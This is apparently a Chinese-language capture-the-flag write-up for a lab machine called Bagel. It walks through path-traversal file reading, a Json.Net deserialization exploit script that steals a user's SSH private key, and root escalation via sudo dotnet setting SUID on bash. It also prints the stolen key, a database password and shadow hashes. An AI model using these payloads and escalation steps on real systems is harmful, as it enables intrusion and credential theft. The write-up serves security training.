基本信息

端口扫描

22,5000,8000,5000直接HTTP访问是400:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
$ nmap -sC -sV -Pn 10.10.11.201
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 18:56 CST
Nmap scan report for 10.10.11.201
Host is up (0.093s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Mon, 20 Feb 2023 10:57:02 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Mon, 20 Feb 2023 10:57:17 GMT
| Connection: close
| Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Mon, 20 Feb 2023 10:57:28 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Mon, 20 Feb 2023 10:57:02 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Mon, 20 Feb 2023 10:57:02 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Mon, 20 Feb 2023 10:56:57 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.93%I=7%D=2/20%Time=63F351FE%P=x86_64-apple-darwin21.5.
SF:0%r(GetRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Mic
SF:rosoft-NetCore/2\.0\r\nDate:\x20Mon,\x2020\x20Feb\x202023\x2010:57:02\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,E8,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Micro
SF:soft-NetCore/2\.0\r\nDate:\x20Mon,\x2020\x20Feb\x202023\x2010:57:02\x20
SF:GMT\r\nContent-Length:\x2054\r\nConnection:\x20close\r\nKeep-Alive:\x20
SF:true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(ver
SF:sion\)\.\)</h1>")%r(HTTPOptions,73,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Mon,\x2020\x20Feb\x202
SF:023\x2010:57:17\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(Help,E6,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer
SF::\x20Microsoft-NetCore/2\.0\r\nDate:\x20Mon,\x2020\x20Feb\x202023\x2010
SF::57:28\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\nKeep-
SF:Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20lin
SF:e\x20\(parts\)\.\)</h1>")%r(SSLSessionReq,E6,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore
SF:/2\.0\r\nDate:\x20Mon,\x2020\x20Feb\x202023\x2010:57:28\x20GMT\r\nConte
SF:nt-Length:\x2052\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n
SF:<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1
SF:>")%r(TerminalServerCookie,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
SF:ntent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\
SF:x20Mon,\x2020\x20Feb\x202023\x2010:57:28\x20GMT\r\nContent-Length:\x205
SF:2\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Requ
SF:est\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(TLSSessio
SF:nReq,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/ht
SF:ml\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Mon,\x2020\x20Feb\x
SF:202023\x2010:57:28\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20cl
SF:ose\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20re
SF:quest\x20line\x20\(parts\)\.\)</h1>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.93%I=7%D=2/20%Time=63F351F9%P=x86_64-apple-darwin21.5.
SF:0%r(GetRequest,1EA,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\
SF:.2\.2\x20Python/3\.10\.9\r\nDate:\x20Mon,\x2020\x20Feb\x202023\x2010:56
SF::57\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-L
SF:ength:\x20263\r\nLocation:\x20http://bagel\.htb:8000/\?page=index\.html
SF:\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n
SF:<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x2
SF:0should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20
SF:URL:\x20<a\x20href=\"http://bagel\.htb:8000/\?page=index\.html\">http:/
SF:/bagel\.htb:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20the
SF:\x20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUN
SF:D\r\nServer:\x20Werkzeug/2\.2\.2\x20Python/3\.10\.9\r\nDate:\x20Mon,\x2
SF:020\x20Feb\x202023\x2010:57:02\x20GMT\r\nContent-Type:\x20text/html;\x2
SF:0charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\
SF:n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</tit
SF:le>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x2
SF:0found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x
SF:20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20agai
SF:n\.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\
SF:x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w
SF:3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20conten
SF:t=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>
SF:Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<bo
SF:dy>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05\\x
SF:04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUE
SF:ST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p
SF:>\n\x20\x20\x20\x20</body>\n</html>\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.81 seconds

8000

需要加hosts,访问之就有个page参数,很大可能LFI:

1
10.10.11.201 bagel.htb

LFI

没任何过滤的LFI:

后续就是LFI获取信息

/proc/self/cmdline

读取cmdline可以发现是python flask应用:

/home/developer/app/app.py

读取app.py发现5000端口是order app的websocket,并且有注释说忘了用dotnet运行对应的dll,使用ssh密钥访问机器:

order app

遍历pid找到order app对应的进程,得到dll路径:

bagel.dll

bagel.dll下载下来分析:

1
http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll

DB

DB里得到数据库账号密码:

1
Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K

反序列化

翻代码也能看到很明显的反序列化:

Orders

Orders中ReadOrder函数存在过滤,RemoveOrder是一个object,可以被利用来反序列化:

Json.Net反序列化

参考:

利用RemoveOrder反序列化调用File的ReadFile:

得到phil的ssh私钥

exp.py

1
2
3
4
5
6
7
8
import json,websocket
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/") # connect to order app
order = { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

phil_id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=
-----END OPENSSH PRIVATE KEY-----

user flag

使用读取到的私钥登录:

提权信息

使用前面db里得到的密码可以切到developer用户,developer用户可以无条件以root权限运行dotnet:

我们可以通过dotnet交互式控制台运行任意代码执行命令:

提权 & root flag

执行代码调用任意命令:

1
2
3
4
5
6
7
8
9
10
sudo /usr/bin/dotnet fsi

open System.Diagnostics;

let psi = new ProcessStartInfo("chmod", "u+s /bin/bash");
psi.UseShellExecute <- false;
let process = Process.Start(psi);
process.WaitForExit() |> ignore;

#quit;;

shadow

1
2
3
root:$y$j9T$xXlsjHrINuN0kQdFIX.TeDOE$Sg8M.SskkAlI/FaZ/m0dNi/8WBs51yp2di2unqKqO.0::0:99999:7:::
developer:$y$j9T$3w2e6AN37Z6b/vPqtsZS0/$BsehC4AuuJLwBQF4oOyU9jAdy0dr7V2GHXYW7dBJsG4:19287:0:99999:7:::
phil:$y$j9T$v0ZxjVDxziVRDtfkwpLhA1$U418uymrKh29qqce2lwWa.5OnZCG/Y7d8xYX7x0Q5d7:19287:0:99999:7:::

参考资料